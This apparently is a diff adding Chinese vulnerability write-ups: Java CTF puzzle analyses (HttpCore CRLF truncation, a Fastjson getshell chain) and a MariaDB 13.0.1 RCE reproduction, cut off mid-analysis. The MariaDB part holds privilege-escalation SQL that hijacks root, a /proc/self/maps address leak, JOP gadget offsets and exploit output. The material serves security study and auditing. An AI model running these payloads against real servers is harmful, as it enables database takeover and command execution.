**漏洞代码(HttpCore 4.4.11 `ByteArrayBuffer.java:138-140`)**:
|
||||
```java
|
||||
for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
|
||||
this.buffer[i2] = (byte) b[i1]; // ★ char 强转 byte,丢弃高8位
|
||||
}
|
||||
```
|
||||
|
||||
**完整调用链**(writeup 没展开,源码补全):
|
||||
```
|
||||
AbstractMessageWriter.write(message) // 序列化整个 HTTP 消息
|
||||
├─ writeHeadLine(message) // 写请求行
|
||||
└─ for each header:
|
||||
sessionBuffer.writeLine( // AbstractMessageWriter:111
|
||||
lineFormatter.formatHeader(lineBuf, header)) // 格式化 "Name: Value"
|
||||
│
|
||||
▼
|
||||
SessionOutputBufferImpl.writeLine(CharArrayBuffer) // :232
|
||||
└─ this.buffer.append(charbuffer, off, chunk) // :243 char[] → byte 缓冲
|
||||
│
|
||||
▼
|
||||
ByteArrayBuffer.append(char[] b, int off, int len) // :122
|
||||
└─ this.buffer[i2] = (byte) b[i1]; // :139 ★ 截断发生处
|
||||
│ 之后 writeLine(CRLF) 追加 \r\n (:255)
|
||||
▼
|
||||
网络发出含注入换行的请求头
|
||||
```
|
||||
|
||||
`\u560a` 的低 8 位正是 `0x0a`,高 8 位 `0x56` 被截断丢弃 → 变成 `\u000a`(`\n`)。推论 `\uxx0a`(xx 任意)都成立。
|
||||
|
||||
**修复 commit(HttpCore 4.4.12,client 4.5.10 引入)**:
|
||||
```java
|
||||
// ByteArrayBuffer.java (4.4.12) 第 139-146 行
|
||||
for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
|
||||
if ((b[i1] >= 0x20 && b[i1] <= 0x7E) || // 可见 ASCII
|
||||
(b[i1] >= 0xA0 && b[i1] <= 0xFF)) { // 可见 ISO-8859-1
|
||||
this.buffer[i2] = (byte) b[i1];
|
||||
} else {
|
||||
this.buffer[i2] = '?'; // ★ 超范围一律替换为 ?
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`0x0a` 不在 `[0x20,0x7E]∪[0xA0,0xFF]`,任何换行字符被替换成 `?`,CRLF 注入堵死。修复**只改了 `char` 来源路径**,没动 `append(byte[])` 和 `append(int)`(那两个本来就是 byte),定位精准。
|
||||
|
||||
## 3.3 审计/渗透可复用经验
|
||||
|
||||
1. **`web.xml` 为空不代表没有安全配置**。Servlet 3.0 的 `web-fragment.xml` 允许 JAR 在 `META-INF` 定义 security-constraint。审计时**必须解压所有 JAR 搜 `web-fragment.xml`、`<security-constraint>`、`<url-pattern>`**。
|
||||
2. **`<http-method>` 枚举是致命疏漏**:没列的方法默认放行。看到枚举方法立刻检查 JSP/Servlet 是否支持其他方法(HEAD/OPTIONS/PUT/DELETE)。
|
||||
3. **HEAD 绕过的通用性**:任何只重写 `doGet`/`doPost` 的 Servlet 都能用 HEAD/TRACE 访问。`HttpServlet#service` 对 HEAD 是「调 doGet + NoBodyResponse 吞响应体」。
|
||||
4. **`(byte)charValue` 是可扫描的漏洞指纹**。grep 全量搜 `\(byte\)\s*\w+\[` 强转模式,出现在「网络/序列化/编码转换」路径上的高危。**正确修复是白名单(只放行可见字符),不是黑名单(拦 `\r\n`)**——黑名单会漏掉 `\u560a` 编码绕过。
|
||||
5. **SSRF 文件下载必须限白名单后缀**。本题 `fileName.indexOf("..")` 只过滤目录穿越,不限后缀导致写 jsp。
|
||||
|
||||
---
|
||||
|
||||
# 四、题三 Fastjson Decoder:失败前的副作用
|
||||
|
||||
## 4.1 题目与官方解
|
||||
|
||||
Fastjson 1.2.78 + commons-io 2.2。公开的 commons-io 链(`WriterOutputStream`)在 Docker/OpenJDK 环境因 `decoder` 参数为 null 报 NPE。但 fastjson 反序列化是**从内层到外层**依次构造,外层 `LockableFileWriter` 在 `WriterOutputStream` 之前处理——**副作用(建带锁空文件)依然发生**。
|
||||
|
||||
**适配 NPE 的关键 trick**:
|
||||
```json
|
||||
"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"}
|
||||
```
|
||||
用 Fastjson 自带的 `UTF8Decoder` 填充原本为 null 的 `decoder` 字段,绕过 NPE。
|
||||
|
||||
**落地链**:
|
||||
1. 生成纯 ASCII jar(c0ny1 脚本,padding 让 zip 各字段落在 ASCII 范围)。
|
||||
2. 覆盖 `$JRE/lib/ext/dnsns.jar`(`-verbose:class` 查未加载的 ext jar)。
|
||||
3. `@type` 指向 `sun.net.spi.nameservice.dns.DNSNameServiceDescriptor`,其构造函数执行 `Runtime.exec(message)`。
|
||||
|
||||
## 4.2 源码级验证
|
||||
|
||||
### 4.2.1 NPE 根因:构造函数选择决定成败
|
||||
|
||||
```java
|
||||
// WriterOutputStream.java
|
||||
private final CharsetDecoder decoder; // :77 — final,必须构造时赋值
|
||||
|
||||
// 构造函数 A:直接接收 decoder (4参, :120)
|
||||
public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, ...) {
|
||||
this.decoder = decoder; // :122 — 用外部传入的 decoder
|
||||
}
|
||||
|
||||
// 构造函数 C:用 Charset (4参, :139) — 内部 newDecoder,decoder 非空
|
||||
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, ...) {
|
||||
this(writer, charset.newDecoder()..., ...); // :140-141 → 转调 A
|
||||
}
|
||||
|
||||
// 构造函数 B:用 charsetName (4参, :173) → 转调 C → 转调 A,decoder 非空
|
||||
```
|
||||
|
||||
**NPE 真正原因**:Fastjson 在不同 JDK 发行版下选中的构造函数不同。
|
||||
- **Mac IDEA**:选中 `(Writer, String charsetName, ...)`(:173)或 `(Writer, Charset, ...)`(:139),内部 `newDecoder()` 非 null → 不报 NPE。
|
||||
- **Docker/OpenJDK**:选中 `(Writer, CharsetDecoder, ...)`(:120),payload 未显式给 `decoder` → `decoder = null` → `processInput()`(:280)调 `this.decoder.decode(...)` 触发 NPE。
|
||||
|
||||
writeup 的 `"decoder":{"@type":"...UTF8Decoder"}` 就是**强行给构造函数 A 注入非 null decoder**,源码完美解释其有效性。
|
||||
|
||||
### 4.2.2 副作用时序(题三最核心的审计点)
|
||||
|
||||
`LockableFileWriter` 构造函数(:158-184)的副作用时序:
|
||||
```
|
||||
new LockableFileWriter(file, encoding, append=false, lockDir)
|
||||
├─ :164 FileUtils.forceMkdir(parent) ← 副作用①:创建父目录
|
||||
├─ :175 FileUtils.forceMkdir(lockDirFile) ← 副作用②:创建锁目录
|
||||
├─ :180 createLock()
|
||||
│ └─ :212 lockFile.createNewFile() ← 副作用③:创建 .lck 锁文件
|
||||
│ └─ :216 lockFile.deleteOnExit()
|
||||
└─ :183 initWriter(file, encoding, append)
|
||||
└─ :238 new FileOutputStream(file, append=false)
|
||||
← 副作用④:创建/截断目标文件(append=false 截断为 0 字节)
|
||||
```
|
||||
|
||||
**关键**:外层 `WriterOutputStream` 在内层 `LockableFileWriter` 实例化**之后**才创建,而 Fastjson 从内层到外层依次构造。即使外层后续抛 NPE,**副作用 ①-④ 已全部发生**——目标文件已截断为空、锁文件已建。这就是「还是创建一个带锁的空文件」的源码级根因。
|
||||
|
||||
## 4.3 审计/渗透可复用经验
|
||||
|
||||
1. **失败 ≠ 无害:追踪构造函数里、抛异常前的副作用**。逐行列出「在第一个可能抛异常的语句前,已改了哪些外部状态」(建文件、建目录、建锁、写日志、发网络请求)。
|
||||
2. **构造函数歧义是反序列化漏洞的放大器**。`WriterOutputStream` 有 7 个构造函数,3 个参数族对 null 容忍度不同。**审计反序列化 sink 时,穷举所有构造函数,画「每个构造函数对每个 final 字段的赋值来源」**。
|
||||
3. **环境差异归因到具体代码路径分歧**,不要停在「JDK 发行版不同」。本题真正分歧是「Fastjson 选中的构造函数不同」。
|
||||
4. **公开链报 NPE 别判死刑**:看「报错之外副作用是否仍发生」。
|
||||
5. **ASCII jar + 覆盖未加载 ext jar** 是 Fastjson 文件写 getshell 的通用落地手法,`-verbose:class` 是审计工具。
|
||||
|
||||
---
|
||||
|
||||
# 五、跨题方法论沉淀
|
||||
|
||||
三道题在源码层面验证出**三条可复用的审计规则**,都可机械化执行(grep 强转、grep 构造函数、画副作用时序):
|
||||
|
||||
| 规则 | 题一(协议) | 题二(类型截断) | 题三(构造函数歧义) |
|
||||
|------|-----------|---------------|-------------------|
|
||||
| **过滤是分散的、逐实现做的,不能跨实现推断** | ftp/http/mailto 各自拦 `\n`,file/netdoc 不拦 | `append(byte[])` 不过滤,`append(char[])` 才截断——同一类两个方法策略不同 | 7 个构造函数,只有接 `CharsetDecoder` 的那个会让 decoder 为 null |
|
||||
| **版本边界靠 diff 确认,不能信二手说法** | 8u131 不是 8u162 | httpcore 4.4.12 / client 4.5.10 | commons-io 2.2 此构造函数族一直存在 |
|
||||
| **关注失败前的副作用,而非失败本身** | 命令被拦 = 外带失败,无副作用残留 | 字符被替换为 `?` = 注入失败,无副作用 | **NPE 抛在外层,内层文件副作用已完成** ← 最典型 |
|
||||
|
||||
## 通用分析方法
|
||||
|
||||
1. **拿到代码先排异常处理路径**:异常被吞(题一)、`web.xml` 为空(题二)、公开链报 NPE(题三),都不是终点。
|
||||
2. **协议/类型/构造函数差异是富矿**:每种实现的处理都不同,逐个验证。
|
||||
3. **Java 类型强转是漏洞模式**:`(byte)char` 高位截断(题二)、`indexOf(10)` 单字符判断(题一)。
|
||||
4. **隐藏配置的排查**:解压所有 JAR 扫 `META-INF/`。
|
||||
5. **HTTP 方法完整性**:`security-constraint` 的 `<http-method>`、Servlet 的 `doGet/doPost`、JSP 的方法支持——只要没覆盖全集就可能绕过。
|
||||
6. **环境一致性**:本地 IDE 与 Docker 表现不同,优先怀疑 JDK 发行版差异,在目标同构环境复现。
|
||||
|
||||
---
|
||||
|
||||
# 六、可执行的审计检查清单
|
||||
|
||||
## XXE
|
||||
- [ ] 全文搜 `SAXReader` / `DocumentBuilder` / `XMLInputFactory` / `Unmarshaller` / `Transformer`,确认 doctype 禁用。
|
||||
- [ ] 异步/异常吞掉的 XML 解析点,验证 OOB(外带)是否成立。
|
||||
- [ ] 列出目标 JDK 的可达协议清单(`sun.net.www.protocol.*`),逐个评估外带面。
|
||||
- [ ] 确认 JDK 版本,**用源码 diff 而非二手文档**判断 FTP 外带分界(8u131)。
|
||||
|
||||
## 权限控制
|
||||
- [ ] 解压所有 JAR,搜 `web-fragment.xml` / `web-fragment_*.xsd` / `<security-constraint>`。
|
||||
- [ ] 检查 `<http-method>` 是否枚举了全集;未列的方法默认放行。
|
||||
- [ ] 对每个受保护资源测试 HEAD / OPTIONS / TRACE / PUT / DELETE。
|
||||
- [ ] Servlet 只重写 `doGet`/`doPost` 的,验证 HEAD 是否能触发副作用。
|
||||
|
||||
## 类型截断 / 编码
|
||||
- [ ] grep `\(byte\)\s*\w+\[` 强转模式,标注网络/序列化路径上的高危点。
|
||||
- [ ] HTTP 客户端版本核对(Apache HttpClient < 4.5.10 存在 CRLF 注入)。
|
||||
- [ ] 写文件功能检查后缀白名单,不只过滤 `..`。
|
||||
|
||||
## 反序列化
|
||||
- [ ] 反序列化 sink 目标类穷举构造函数,画 final 字段赋值来源表。
|
||||
- [ ] 画构造函数副作用时序(抛异常前已改的外部状态)。
|
||||
- [ ] 公开链报错时,验证「失败前的副作用是否仍发生」。
|
||||
- [ ] 文件写 getshell:确认目标 JDK 版本(ext jar 可加载性)、`-verbose:class` 列未加载 jar。
|
||||
|
||||
---
|
||||
|
||||
# 附录:版本边界与源码索引
|
||||
|
||||
## A.1 版本边界速查
|
||||
|
||||
| 组件 | 漏洞 | 修复版本 | 真实分界(源码验证) |
|
||||
|------|------|---------|-------------------|
|
||||
| OpenJDK 8 | FTP 多行外带 | 8u131 | `FtpClient#issueCommand` 新增 `indexOf('\n')` 检查 |
|
||||
| OpenJDK 8 | HTTP URI `\n` | 早期版本起 | `HttpURLConnection#checkURL` 构造期检查 |
|
||||
| Apache HttpCore | `(byte)char` CRLF 注入 | **4.4.12** | `ByteArrayBuffer#append(char[])` 白名单过滤 |
|
||||
| Apache HttpClient | 同上(引入 httpcore) | **4.5.10** | 升级 httpcore 4.4.11 → 4.4.12 |
|
||||
| commons-io 2.2 | `WriterOutputStream` decoder null | 未单独修(利用链适配) | 构造函数族一直存在 |
|
||||
| Fastjson | 1.2.78 commons-io 链 | 需手动适配 decoder | `UTF8Decoder` 填充绕过 NPE |
|
||||
|
||||
## A.2 关键源码文件索引
|
||||
|
||||
**题一(协议差异):**
|
||||
| 文件 | 仓库 / Tag | 关键行 |
|
||||
|------|-----------|--------|
|
||||
| `sun/net/ftp/impl/FtpClient.java` | openjdk/jdk8u (8u121 / 8u131 / 8u202) | 8u131:532 |
|
||||
| `sun/net/www/protocol/http/HttpURLConnection.java` | openjdk/jdk8u jdk8u202-b08 | checkURL:849, checkHost:830 |
|
||||
| `sun/net/smtp/SmtpClient.java` | openjdk/jdk8u jdk8u202-b08 | to:78, from:124 |
|
||||
| `sun/net/www/protocol/netdoc/Handler.java` | openjdk/jdk8u jdk8u202-b08 | openConnection 回退 file |
|
||||
| `java/net/URL.java` | openjdk/jdk8u jdk8u202-b08 | getURLStreamHandler:1133 |
|
||||
|
||||
**题二(类型截断):**
|
||||
| 文件 | 仓库 / Tag | 关键行 |
|
||||
|------|-----------|--------|
|
||||
| `org/apache/http/util/ByteArrayBuffer.java` | apache/httpcomponents-core rel/v4.4.11 vs 4.4.12 | append(char[]):139 |
|
||||
| `org/apache/http/impl/io/AbstractMessageWriter.java` | apache/httpcomponents-core rel/v4.4.11 | write():106-116 |
|
||||
| `org/apache/http/impl/io/SessionOutputBufferImpl.java` | apache/httpcomponents-core rel/v4.4.11 | writeLine():232-256 |
|
||||
|
||||
**题三(副作用时序):**
|
||||
| 文件 | 仓库 / Tag | 关键行 |
|
||||
|------|-----------|--------|
|
||||
| `org/apache/commons/io/output/WriterOutputStream.java` | apache/commons-io 2.2 | decoder 字段:77, 构造函数:120/139/173 |
|
||||
| `org/apache/commons/io/output/LockableFileWriter.java` | apache/commons-io 2.2 | 构造函数副作用:158-184 |
|
||||
|
||||
## A.3 复现步骤
|
||||
|
||||
所有源码均可从 GitHub 公开仓库直接获取,无需鉴权:
|
||||
```bash
|
||||
# 题一:对比 JDK 8u121 与 8u131 的 FTP 修复
|
||||
curl -o FtpClient_8u121.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u121-b13/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
|
||||
curl -o FtpClient_8u131.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u131-b11/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
|
||||
diff FtpClient_8u121.java FtpClient_8u131.java
|
||||
|
||||
# 题二:对比 HttpCore 4.4.11 与 4.4.12 的 ByteArrayBuffer 修复
|
||||
curl -o BA_4.4.11.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.11/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
|
||||
curl -o BA_4.4.12.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.12/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
|
||||
diff BA_4.4.11.java BA_4.4.12.java
|
||||
|
||||
# 题三:commons-io 2.2 构造函数族
|
||||
curl -o WriterOutputStream.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/WriterOutputStream.java
|
||||
curl -o LockableFileWriter.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/LockableFileWriter.java
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
> **声明**:本文内容仅用于安全研究、代码审计学习与防御教学。所有源码引用均来自官方公开仓库,漏洞利用部分基于公开的 CTF 谜题场景。请在授权环境下进行安全测试。
|
||||
|
||||
*整理自 Java-Puzzle 三道谜题的 writeup 与 OpenJDK / Apache HttpCore / Apache commons-io 源码级验证分析。*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,425 @@
|
||||
# MariaDB 远程代码执行漏洞分析复现
|
||||
> 来源:https://xz.aliyun.com/news/92636
|
||||
|
||||
## 漏洞概述
|
||||
|
||||
|
||||
在 MariaDB 13.0.1 存在远程代码执行攻击链。攻击者仅需一个低权限数据库账号(USAGE 级别)和 TCP 网络可达性,即可通过纯 SQL 语句在服务器端以 `uid=999(mysql)` 身份执行任意系统命令。
|
||||
|
||||
攻击链由两个 0day 漏洞串联组成:
|
||||
|
||||
|
||||
| 漏洞编号 | 类型 | 说明 |
|
||||
| --- | --- | --- |
|
||||
| F-09 | 权限提升 | GRANT PROXY ... IDENTIFIED VIA '' 绕过权限检查,任意用户可劫持 root 账户 |
|
||||
| F-05 | Use-After-Free | SYS_REFCURSOR 游标数组重分配导致悬挂指针,堆喷后控制虚函数调用 |
|
||||
|
||||
|
||||
两个漏洞均在 2026-08-03 仍未修复(上游 `sql/sp_cursor.{cc,h}` 在 13.0.1 tag 和 HEAD 之间零提交)。
|
||||
|
||||
|
||||
## 影响版本
|
||||
|
||||
|
||||
●MariaDB 13.0.1(已验证)
|
||||
|
||||
● F-09 权限提升:所有已发布版本(验证 13.0.1 至 10.6.27),修复补丁 `dbd60d0ad8d` (MDEV-40470) 仅在 dev 分支
|
||||
● F-05 UAF:影响包含 `SYS_REFCURSOR` 功能的所有版本
|
||||
|
||||
## 漏洞严重性
|
||||
|
||||
|
||||
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|
||||
|
||||
●攻击向量:网络
|
||||
|
||||
●攻击复杂度:低(完全自动化,Python 脚本一键利用)
|
||||
|
||||
●权限要求:低(仅需 USAGE 权限的数据库账户)
|
||||
|
||||
●用户交互:无
|
||||
|
||||
●影响范围:容器/主机系统命令执行
|
||||
|
||||
|
||||
## 利用前置条件
|
||||
|
||||
|
||||
攻击者需要满足以下条件才能成功利用此漏洞链:
|
||||
|
||||
|
||||
### 必需条件(全部满足才可触发 RCE)
|
||||
|
||||
|
||||
|
||||
| 条件 | 说明 | 默认/常见情况 |
|
||||
| --- | --- | --- |
|
||||
| 网络可达 | 攻击者能建立到 MariaDB 3306 端口的 TCP 连接 | 生产环境常见(应用服务器 → 数据库) |
|
||||
| 有效数据库账户 | 拥有任意一个 MariaDB 账户(包括仅 USAGE 权限的最低权限账户) | 多租户环境、共享数据库实例 |
|
||||
| secure_file_priv = NULL(未设置) | 允许 LOAD DATA INFILE 读取任意文件,包括 /proc/self/maps | MariaDB 官方 Docker 镜像默认值;部分发行版打包可能设为 /var/lib/mysql-files 或空字符串 |
|
||||
| glibc 运行环境 | 漏洞利用依赖 glibc 的 mmap 行为(大块内存分配复用地址)和堆分配器行为(chunk 大小匹配) | MariaDB 官方 Linux 构建均基于 glibc |
|
||||
| x86_64 架构 | JOP 小工具偏移和 call *0x100(%rax) 等指令基于 x86_64 | 绝大多数生产部署 |
|
||||
| /proc 文件系统可读 | LOAD DATA INFILE '/proc/self/maps' 依赖 Linux /proc 伪文件系统泄露内存布局 | 所有标准 Linux 环境。容器中需要未设置 security_opt: no-new-privileges + /proc 未做特殊隔离 |
|
||||
| max_allowed_packet 可调大 | 需要 SET GLOBAL max_allowed_packet = 268435456(256 MiB)来容纳 128 MiB 用户变量。这要求攻击者持有 SUPER 权限……但 F-09 提权已将低权限用户提升为 root,所以此条件自动满足 | F-09 提权后自动达成 |
|
||||
|
||||
|
||||
|
||||
### 非必需但利于利用的条件
|
||||
|
||||
|
||||
|
||||
| 条件 | 说明 | 默认/常见情况 |
|
||||
| --- | --- | --- |
|
||||
| SYS_PTRACE capability(容器环境) | 允许读取 /proc/self/maps。Docker 中通常默认可用 | Docker 默认不限制 |
|
||||
| 容器内 mariadbd 为 PID 1 | exploit 执行 system() 后进程崩溃 → 容器自动退出(但不影响命令已执行的事实) | 官方镜像默认 |
|
||||
| ASLR 开启 | 实际上ASLR 开启反而是利用条件之一,因为 /proc/self/maps 恰好能泄露随机化后的地址。如果 ASLR 关闭,利用更简单(固定地址) | Linux 默认开启 |
|
||||
|
||||
|
||||
|
||||
### 攻击场景
|
||||
|
||||
|
||||
1 共享数据库实例:云数据库服务中,多个租户共享同一 MariaDB 实例,低权限账户通过此漏洞逃逸到宿主系统
|
||||
2 应用服务器沦陷:Web 应用 SQL 注入获取的低权限数据库账户,进一步转化为服务器 RCE
|
||||
3 内网横向移动:已进入内网的攻击者,利用数据库服务器作为跳板执行命令
|
||||
4 容器逃逸辅助:容器内以 mysql 身份执行命令后,可进一步利用内核漏洞逃逸到宿主机
|
||||
|
||||
### 不受影响的情况
|
||||
|
||||
|
||||
● `secure_file_priv` 已设置为特定目录或空字符串(阻止 `/proc/self/maps` 读取 — 但攻击者可能通过其他侧信道泄露地址)
|
||||
●使用 musl libc 的构建(如 Alpine Linux)— mmap 和堆行为不同
|
||||
|
||||
●ARM/aarch64 架构 — JOP 小工具偏移不同
|
||||
|
||||
● MariaDB 10.5 以下版本(`SYS_REFCURSOR` 功能可能不存在或实现不同)
|
||||
|
||||
## 复现环境
|
||||
|
||||
|
||||
|
||||
| 组件 | 版本/配置 |
|
||||
| --- | --- |
|
||||
| 宿主机 | macOS 15.7.4 |
|
||||
| Docker | 28.1.1 |
|
||||
| MariaDB 镜像 | mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 |
|
||||
| mariadbd | 13.0.1-MariaDB-ubu2604 |
|
||||
| 低权限用户 | lowpriv / lowpriv(仅 USAGE + appdb.* 权限) |
|
||||
| glibc | 容器内置(Ubuntu 26.04) |
|
||||
| Python | 3.13 + mariadb 客户端 |
|
||||
|
||||
|
||||
|
||||
## 复现步骤
|
||||
|
||||
|
||||
|
||||
### 1\. 启动实验环境
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
cd ~/data/github/mariadb-13-rce-lab
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
`docker-compose.yml`:
|
||||
|
||||
|
||||
```yaml
|
||||
services:
|
||||
mariadb:
|
||||
image: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
|
||||
container_name: mariadb-rce-lab
|
||||
environment:
|
||||
MARIADB_ROOT_PASSWORD: labpass
|
||||
MARIADB_DATABASE: appdb
|
||||
MARIADB_USER: lowpriv
|
||||
MARIADB_PASSWORD: lowpriv
|
||||
ports:
|
||||
- "3307:3306"
|
||||
cap_add:
|
||||
- SYS_PTRACE
|
||||
volumes:
|
||||
- ./setup.sql:/docker-entrypoint-initdb.d/setup.sql
|
||||
```
|
||||
|
||||
初始化 SQL(`setup.sql`)— lowpriv 用户仅有最低权限:
|
||||
|
||||
|
||||
```sql
|
||||
GRANT USAGE ON *.* TO 'lowpriv'@'%';
|
||||
GRANT ALL ON appdb.* TO 'lowpriv'@'%';
|
||||
```
|
||||
|
||||
### 2\. 运行 Pure-SQL 漏洞利用
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
python3 exploit_pure_sql.py \
|
||||
--host 127.0.0.1 --port 3307 \
|
||||
--user lowpriv --password lowpriv \
|
||||
--command "id > /tmp/pwned" \
|
||||
--marker /tmp/pwned \
|
||||
--container mariadb-rce-lab
|
||||
```
|
||||
|
||||
### 3\. 复现结果
|
||||
|
||||
|
||||
|
||||
```
|
||||
[*] MariaDB 13.0.1-rc RCE — PURE SQL variant (lowpriv account only)
|
||||
[*] Target: lowpriv@127.0.0.1:3307 command: id > /tmp/pwned
|
||||
|
||||
[*] Step 1: F-09 GRANT PROXY privilege escalation (lowpriv -> root)
|
||||
[+] F-09 done — connecting as root with empty password
|
||||
|
||||
[*] Step 2: creating spray128 / grow5 / uaf5 (F-05 UAF trigger)
|
||||
[+] functions created
|
||||
|
||||
[*] Step 3: reading /proc/self/maps from SQL (ASLR defeat)
|
||||
[+] PIE base 0x5587b50bd000
|
||||
[+] libc base 0x7f4772c00000
|
||||
[+] D2=0x5587b58caa77 D1=0x5587b5eed75b system=0x7f4772c5c560
|
||||
|
||||
[*] Step 4: allocating 128 MiB @fake marker buffer
|
||||
[+] @fake region 0x774707c00000 V (fake vtable) = 0x774707c01030
|
||||
|
||||
[*] Step 5: writing JOP layout via SQL (self-reference baked) ...
|
||||
[+] slot stable: V = 0x774707c01030 (self-reference consistent)
|
||||
[+] reclaim payload ready (V=0x774707c01030 at offset 0x20)
|
||||
|
||||
[*] ============ FIRING (CALL uaf5) ============
|
||||
[*] session died as expected after RCE: no sentinel within 10s; got: b''
|
||||
[*] waiting for marker /tmp/pwned ...
|
||||
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
|
||||
|
||||
[+] ===========================================
|
||||
[+] RCE CONFIRMED (pure SQL, lowpriv account)
|
||||
[+] ===========================================
|
||||
```
|
||||
|
||||
`/tmp/pwned` 内容确认命令以 `uid=999(mysql)` 身份执行成功。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞利用链详细分析
|
||||
|
||||
|
||||
|
||||
### 第一阶段:F-09 权限提升(任意用户 → DBA)
|
||||
|
||||
|
||||
漏洞位置: `sql/sql_acl.cc` 中的 `GRANT PROXY` 处理逻辑
|
||||
|
||||
利用语句:
|
||||
|
||||
|
||||
```sql
|
||||
GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '';
|
||||
GRANT PROXY ON CURRENT_USER() TO 'root'@'localhost' IDENTIFIED VIA '';
|
||||
```
|
||||
|
||||
原理:
|
||||
|
||||
● `LEX_USER::has_auth()` 方法在认证子句为空字符串时返回 `false`
|
||||
● 这使得 `check_alter_user()` 权限检查被跳过
|
||||
● 但 `replace_user_table()` 仍会将空密码写入 `mysql.global_priv` 表,替换 root 的原有密码
|
||||
●结果:一句 SQL,任意已认证用户即可将 root 密码改为空,获得完整 DBA 权限
|
||||
|
||||
严重性: 影响所有已发布 MariaDB 版本。修复补丁(`dbd60d0ad8d`, MDEV-40470)仅存在于开发分支。
|
||||
|
||||
|
||||
### 第二阶段:ASLR 绕过(服务器端文件读取)
|
||||
|
||||
|
||||
技术: `LOAD DATA INFILE` 读取 `/proc/self/maps`
|
||||
|
||||
|
||||
```sql
|
||||
CREATE TABLE appdb.maps_pre (l TEXT);
|
||||
LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.maps_pre;
|
||||
```
|
||||
|
||||
原理:
|
||||
|
||||
● MariaDB 默认镜像 `secure_file_priv` 为 NULL(未设置),允许读取任意文件
|
||||
● `/proc/self/maps` 直接泄露 mariadbd 进程的完整内存布局
|
||||
●提取 PIE 基址(mariadbd 可执行段)和 libc 基址(libc.so.6)
|
||||
|
||||
●每次运行的 ASLR 基址不同,但通过 SQL 实时获取,实现真正的 ASLR 击败
|
||||
|
||||
|
||||
### 第三阶段:JOP 链内存布局(纯 SQL 方式)
|
||||
|
||||
|
||||
技术: 128 MiB 用户变量分配 + `/proc/self/maps` 差分地址发现
|
||||
|
||||
|
||||
```sql
|
||||
-- 标记缓冲区:分配 128 MiB 并发现其地址
|
||||
SET @fake = REPEAT(CHAR(0xDE), 134217728);
|
||||
|
||||
-- 重新读取 /proc/self/maps,与之前差分
|
||||
-- 找到新增的 0x8001000 大小的匿名 rw-p 区域
|
||||
LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.maps_post;
|
||||
```
|
||||
|
||||
地址发现与自引用解决:
|
||||
|
||||
1分配 128 MiB 标记缓冲区 → glibc 分配专用 mmap 区域
|
||||
|
||||
2 通过 SQL 端 `/proc/self/maps` 差分获取缓冲区地址
|
||||
3 重新分配缓冲区,嵌入完整 JOP 布局(含自引用指针 `V+0xa8 = V+0x140`)
|
||||
4glibc 释放旧块后复用相同 mmap 槽位 → 地址稳定
|
||||
|
||||
JOP 假 vtable 布局(位于缓冲区 V 处):
|
||||
|
||||
|
||||
```
|
||||
偏移 内容 用途
|
||||
─────────────────────────────────────────────────────
|
||||
V+0x20 D2 (PIE+0x80da77) result->prepare() 虚表槽
|
||||
V+0xa0 system() (libc+0x5c560) JOP 目标函数
|
||||
V+0xa8 V+0x140 rdi = 命令字符串指针
|
||||
V+0x100 D1 (PIE+0xe3075b) JOP 调度器
|
||||
V+0x140 "sh -c 'id > /tmp/pwned'\0" 执行的命令
|
||||
```
|
||||
|
||||
两个 JOP 小工具(来自未修改的 mariadbd 二进制):
|
||||
|
||||
|
||||
| 小工具 | 偏移 | 汇编指令 | 用途 |
|
||||
| --- | --- | --- | --- |
|
||||
| D2 | PIE+0x80da77 | call *0x100(%rax) | 栈对齐修正(movaps) |
|
||||
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] | 加载命令指针到 rdi,调用 system() |
|
||||
|
||||
|
||||
|
||||
### 第四阶段:F-05 SYS\_REFCURSOR Use-After-Free
|
||||
|
||||
|
||||
漏洞位置: `sql/sp_cursor.cc` — `sp_cursor_array::get_cursor_by_ref()`
|
||||
|
||||
漏洞原理:
|
||||
|
||||
1 `sp_cursor_array` 使用 `Dynamic_array` 存储游标对象(每个 112 字节)
|
||||
2默认容量 16 个游标 → 底层存储 16×112 = 1792 字节
|
||||
|
||||
3 `get_cursor_by_ref()` 返回指向 `Dynamic_array` 内部存储的指针
|
||||
4 当游标的 `open()` 方法执行攻击者控制的 SQL(打开更多游标),数组增长触发 `my_realloc`
|
||||
5 `my_realloc` 释放旧存储 → 调用者持有的指针变成悬挂指针
|
||||
堆喷回收(heap spray):
|
||||
|
||||
●128 个用户变量副本,每个精确匹配 1784 字节
|
||||
|
||||
●精确适配 glibc 释放的 1792 字节 chunk
|
||||
|
||||
● 假 vtable 指针 V 放置在偏移 0x20(`sp_cursor` 的 `result` 成员位置)
|
||||
虚函数调用劫持:
|
||||
|
||||
|
||||
```
|
||||
Materialized_cursor::open()
|
||||
